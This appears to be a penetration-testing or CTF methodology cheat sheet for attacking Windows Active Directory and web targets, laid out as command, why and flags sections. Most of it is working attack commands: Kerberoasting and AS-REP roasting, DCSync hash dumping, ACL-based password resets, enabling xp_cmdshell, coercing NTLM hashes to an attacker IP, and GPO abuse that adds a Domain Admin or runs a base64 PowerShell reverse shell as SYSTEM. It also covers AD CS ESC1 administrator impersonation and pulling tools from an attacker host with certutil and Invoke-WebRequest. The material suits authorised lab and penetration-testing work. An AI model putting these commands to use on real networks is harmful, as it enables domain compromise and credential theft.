Skip to content

Methodology

Flow at a glance

  • 1) Recon baseline -> open ports and services (note clock skew for Kerberos)
  • 2) Branch: Web or AD quickstart based on exposure
  • 3) Validate creds (SMB/WinRM/FTP/MSSQL/SSH with Kerberos if needed)
  • 4) Pivot via creds, files, or ACLs (check hidden files & Recycle Bin)
  • 5) Escalate (Kerberoast, DCSync, AD CS, GPO abuse via WriteGPLink)
  • 6) Post-foothold triage and proof
  • 7) Evidence capture and timeline notes

Decision triggers

  • If LDAP/Kerberos/SMB exposed -> run AD quickstart
  • If HTTP/HTTPS exposed -> run web enum
  • If you get any creds -> validate (SMB/WinRM/FTP/MSSQL)
  • If KRB_AP_ERR_SKEW error -> sync time to DC (check nmap clock skew)
  • If NTLM disabled or SSH on Windows -> use Kerberos auth workflow
  • If AD present -> collect BloodHound to find pivot paths
  • If WriteGPLink permission found in BloodHound -> GPO abuse for SYSTEM
  • If vaults/files found -> crack and re-validate creds
  • If config files found -> check for base64-encoded passwords
  • If Windows shell obtained -> check hidden files and Recycle Bin

Output files

  • Use nmap -oA nmap/<name> and ffuf -o ffuf/<name>.json for clean artifacts
  • Use cmd.log as the timeline spine; use out.log only for evidence snippets
  • Keep loot and evidence in loot/ and evidence/

Recon baseline

Command - ping <IP> or nc -vz <IP> 80 if ICMP is blocked - nmap -p- --min-rate=3000 -Pn -oN nmap/OpenPorts.txt <IP> - ports=$(awk '/^[0-9]+\/tcp/ {print $1}' nmap/OpenPorts.txt | cut -d/ -f1 | paste -sd,) - nmap -p$ports -sSCV --min-rate=2000 -Pn -oN nmap/ServicesVersions.txt <IP> - dig @<IP> any <domain> or attempt zone transfer if DNS is exposed

Why - Establish reachability and discover all TCP services - Run scripts and version detection only on open ports - Identify DNS records and potential zone transfers

Flags/Notes - -p-: all TCP ports - --min-rate: speed up scan - -Pn: skip host discovery - -oN: save normal output to file - -sS: SYN scan, -sC: default scripts, -sV: version detection

Web (80/443)

Command - ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://<IP>/FUZZ -e .php,.txt -t 20 - gobuster dir -u http://<host> -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -t 20

Why - Find hidden files, directories, and backups

Flags/Notes - -w: wordlist - -u: target URL with FUZZ - -e: extensions - -t: threads

Active Directory quickstart

Command - smbclient -N -L //<host> - ldapsearch -x -H ldap://<host> -b "DC=...,DC=..." - GetNPUsers.py <realm>/ -no-pass -usersfile users.txt -dc-ip <IP> -format hashcat - mssqlclient.py <user>:<pass>@<host> - nxc winrm <IP> -u <user> -p <pass>

Why - Enumerate shares, LDAP objects, and Kerberos roastable users - Validate credentials and service access

Flags/Notes - -N: no auth, -L: list shares - -x: simple bind, -H: LDAP URI, -b: base DN - -no-pass: anonymous, -usersfile: user list, -format hashcat: crackable output - Use <domain>/<user> for AD auth in MSSQL; omit domain for SQL auth - nxc winrm -H for hashes, -k for Kerberos

Kerberos Authentication Workflow

Command

# Check for clock skew in nmap output (KRB_AP_ERR_SKEW = time sync issue)
# Sync time if DC has clock offset
sudo date --set="$(date -d '+X hours')"  # Replace X with offset from nmap

# Generate krb5.conf
nxc smb <dc-hostname> -u <user> -p '<pass>' --generate-krb5-file ./krb5.conf
sudo cp ./krb5.conf /etc/krb5.conf

# Get Ticket Granting Ticket (TGT)
impacket-getTGT <domain>/<user>:'<pass>' -dc-ip <IP>

# Export ticket path
export KRB5CCNAME=~/path/to/<user>.ccache

# Verify ticket
klist

# SSH with Kerberos (if Windows OpenSSH available)
ssh -K <user>@<dc-hostname>

# Use Kerberos with other tools
impacket-smbclient -k -no-pass <domain>/<user>@<dc-hostname>
evil-winrm -i <IP> -r <realm> -u <user> -k

Why - Kerberos auth required when NTLM is disabled or restricted - Enables passwordless auth after TGT acquisition - Required for Windows SSH with GSSAPI

Flags/Notes - KRB_AP_ERR_SKEW error = clock skew > 5 minutes; must sync time to DC - --generate-krb5-file creates proper realm/KDC configuration - TGT valid for ~10 hours (renewable) - -K flag enables GSSAPI (Kerberos) for SSH - KRB5CCNAME environment variable points to credential cache - Kerberos requires proper DNS resolution (/etc/hosts or DNS)

AD pivot chain

Command - bloodhound-python -c ALL -u <user> -p '<pass>' -d <domain> -ns <dc-ip> - net user <target> <NewPass123!> - net rpc password "<target>" '<NewPass123!>' -U "<domain>/<user>"%'<pass>' -S "<dc-ip>" - nxc ftp <dc-ip> -u <user> -p '<pass>' --ls - nxc ftp <dc-ip> -u <user> -p '<pass>' --get <file> - hashcat -m 5200 <vault>.psafe3 /usr/share/wordlists/rockyou.txt --force - ./targetedKerberoast.py -v -d '<domain>' -u '<user>' -p '<pass>' --use-ldaps - hashcat <user>.hash /usr/share/wordlists/rockyou.txt --force - secretsdump.py '<domain>/<user>:<pass>@<dc-host>'

Why - Use ACLs and creds to pivot users - Pull sensitive files and crack vaults - Kerberoast/DCSync for higher-priv access

Flags/Notes - -c ALL: full BloodHound collection - net user on a DC resets domain user passwords (requires object control) - net rpc password performs SMB RPC reset when local syntax fails - --ls list and --get download in NetExec FTP - -m 5200: Password Safe v3 - --use-ldaps: use LDAPS 636 - DCSync returns NTLM hashes for domain accounts

MSSQL playbook

Command - impacket-mssqlclient <domain>/<user>:<pass>@<IP> - SELECT name FROM master.sys.databases; - xp_dirtree '\\<attacker_ip>\share' - xp_readerrorlog 0,1,N'Login failed'; - EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

Why - Enumerate DBs and coerce hashes - Mine logs for leaked creds - Enable command execution if needed

Flags/Notes - Use <domain>/ for AD auth; drop domain for SQL auth - xp_dirtree forces SMB auth to capture NetNTLMv2 - xp_readerrorlog indexes the error log and searches a term

Credential discovery pivot

Command - Check SQL error logs, LDAP description fields, and SMB shares - Crack NetNTLMv2 with hashcat mode 5600 - PTH with evil-winrm / nxc smb --hashes / psexec

Why - Convert passive intel into new authenticated access

Flags/Notes - Always re-validate creds on SMB/WinRM/FTP

Command (PowerShell on Windows target)

# Verify WriteGPLink permission (check BloodHound first)
# User must have WriteGPLink over domain or OU

# Method 1: SharpGPOAbuse (Scheduled Task to add user to Domain Admins)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "AddDA" --Author DOMAIN\Administrator --Command "cmd.exe" --Arguments "/c net group 'Domain Admins' <user> /add /domain" --GPOName "EvilGPO"

# Method 2: Manual GPO Creation + SharpGPOAbuse (Reverse Shell as SYSTEM)
# Step 1: Create new GPO
New-GPO -name "EvilGPO"

# Step 2: Link GPO to domain root (applies to ALL computers including DCs)
New-GPLink -Name "EvilGPO" -target "DC=domain,DC=tld"

# Step 3: Generate reverse shell payload (use revshells.com)
# PowerShell #3 (Base64), encode to base64

# Step 4: Inject malicious scheduled task with SharpGPOAbuse
.\SharpGPOAbuse.exe --addcomputertask --GPOName "EvilGPO" --Author "admin" --TaskName "RevShell" --Command "powershell.exe" --Arguments "powershell -e <base64_payload>"

# Step 5: Force GPO update (speeds up propagation)
gpupdate /force

# Wait 1-2 minutes for GPO to apply on DC
# Catch reverse shell on attacker machine (nc -lnvp <port>)

Why - WriteGPLink permission allows linking GPOs to Organizational Units - GPOs linked to domain root apply to ALL domain computers (including DCs) - Scheduled tasks in GPOs execute as NT AUTHORITY\SYSTEM - Direct path to Domain Admin or SYSTEM shell

Flags/Notes - Check BloodHound for WriteGPLink edges (not shown by whoami /all) - Group Policy Creator Owners membership does NOT automatically grant WriteGPLink - --AddComputerTask = creates immediate scheduled task (runs on next GPO refresh) - GPO refresh interval: 90-120 seconds (or use gpupdate /force) - Alternative targets: DC=domain,DC=tld (domain root) or OU=Domain Controllers,DC=domain,DC=tld - SharpGPOAbuse alternatives: PowerView's New-GPOImmediateTask, manual SYSVOL modification - Non-destructive option: Use bloodyAD or SharpGPOAbuse to add user to local Administrators instead of Domain Admins

Transfer SharpGPOAbuse.exe:

# On Kali
cd /path/to/tools
python3 -m http.server 8080

# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/SharpGPOAbuse.exe" -OutFile "SharpGPOAbuse.exe"

AD CS (ESC1) abuse

Command - certipy find -dc-ip <IP> -u <user> -p <pass> -enabled -vulnerable - certipy req -dc-ip <IP> -u <user> -p '<pass>' -ca <CA> -template <Template> -upn administrator@<domain> -dns <dc> -outfile administrator - certipy auth -pfx administrator.pfx -dc-ip <IP> - KRB5CCNAME=administrator.ccache evil-winrm -i <IP> -r <realm> -u administrator -k

Why - Identify misconfigured templates and authenticate as higher-priv users

Flags/Notes - -enabled: active templates only - -vulnerable: highlight ESC paths - -upn: spoofed principal - -k: Kerberos auth; KRB5CCNAME points to ticket cache

Post-foothold triage

Command - whoami /groups, whoami /priv, hostname, ipconfig /all - Check C:\Users\<user>\Desktop, C:\Users\Public, scheduled tasks/services

Why - Confirm privileges and identify quick-win loot

Flags/Notes - If lateral movement is needed, validate WinRM/SMB reachability to other hosts

Windows Hidden File Enumeration

Command (PowerShell)

# View hidden files and directories
Get-ChildItem -Force
Get-ChildItem -Path C:\ -Force

# Recursively search for hidden files
Get-ChildItem -Path C:\Users\<user> -Recurse -Force -ErrorAction SilentlyContinue

# Filter only hidden files
Get-ChildItem -Recurse -Force | Where-Object {$_.Attributes -match "Hidden"}

# Check PowerShell command history (credentials often leak here!)
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Enumerate Recycle Bin (deleted files)
Get-ChildItem -Path C:\$RECYCLE.BIN -Recurse -Force

# Read metadata from $I files (shows original path/filename)
Format-Hex 'C:\$RECYCLE.BIN\{SID}\$I...'

# Common hidden file locations
Get-ChildItem -Force C:\Users\<user>\AppData\Roaming
Get-ChildItem -Force C:\Users\<user>\AppData\Local
Get-ChildItem -Force C:\Users\<user>\Desktop
Get-ChildItem -Force C:\ProgramData

Why - Hidden files often contain credentials, config files, or sensitive data - Recycle Bin may have deleted archives, scripts, or credential stores - PowerShell history frequently contains plaintext passwords

Flags/Notes - -Force = show hidden, system, and other normally hidden files - Mode column: d--hs = Directory, Hidden, System - Position 1: d = directory, - = file - Position 4: h = hidden - Position 5: s = system - Recycle Bin structure: - C:\$RECYCLE.BIN\{USER-SID}\ - $I files = metadata (148 bytes, contains original path/filename) - $R files = actual deleted content (recover these!) - Format-Hex reveals Unicode strings in binary metadata files - No naming convention for hidden files in Windows (unlike Linux .files) - Files are hidden via attributes, not filename patterns

Base64 Decoding in Config Files

Command

# Identify base64 (look for = padding at end)
cat config.ini | grep '='

# Decode base64 strings
echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d

# Decode from file
base64 -d encoded.txt > decoded.txt

Why - Config files often obfuscate passwords with base64 encoding - Common in WAPT, application configs, deployment scripts

Flags/Notes - Base64 strings often end with = or == (padding) - Not encryption, just encoding (easily reversible) - Always check config files for: password, secret, key, token fields

File Transfer Methods

Linux to Windows

Method 1: Python HTTP Server + PowerShell Download (Most Reliable)

# On Kali (attacker)
cd /path/to/files
python3 -m http.server 8080

# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"
# Short alias
iwr -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"

Method 2: SCP with Kerberos (requires Kerberos auth setup)

# From Kali to Windows (if TGT is active)
scp 'user@hostname:C:/$PATH/$TO/$FILE' ./local-file

# Windows path format: C:/ (forward slashes, not backslashes)
# Protect $ in filenames with single quotes

Method 3: certutil (Built-in Windows downloader)

# On Windows (CMD or PowerShell)
certutil -urlcache -f http://<attacker-ip>:8080/<file> C:\path\to\output

Method 4: SMB (requires admin access to C$)

# From Kali
impacket-smbclient <domain>/<user>:'<pass>'@<IP>
use C$
cd path\to\directory
put <local-file>
get <remote-file>

Windows to Linux

Method 1: SCP (with Kerberos or password auth)

# From Kali
scp 'user@hostname:C:/$PATH/$FILE' ./destination

# Works with active Kerberos TGT or password auth

Method 2: SMB Mount (as client)

# On Kali, share a directory
impacket-smbserver share /path/to/share -smb2support

# On Windows, copy to share
copy C:\path\to\file \\<attacker-ip>\share\

Method 3: Base64 Encoding (for small text files only)

# On Windows (PowerShell)
$content = Get-Content -Path "C:\path\to\file" -Raw
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))

# Copy base64 output, paste on Kali
echo '<base64-string>' | base64 -d > file

Flags/Notes - Avoid base64 for binaries (files >100KB become unwieldy) - SCP Windows path format: C:/ (forward slashes), $ must be quoted - Invoke-WebRequest is PowerShell's wget/curl equivalent - certutil works on all Windows versions but may be flagged by AV - Python HTTP server port 8080 (or any high port) to avoid permission issues

Evidence capture

Command - | tee logs/<name>.txt for readable output - > logs/<name>.txt 2>&1 for large output

Why - Keep clean artifacts for writeups and proof

Flags/Notes - Save outputs to logs/ and loot to loot/ - Note flag paths and commands used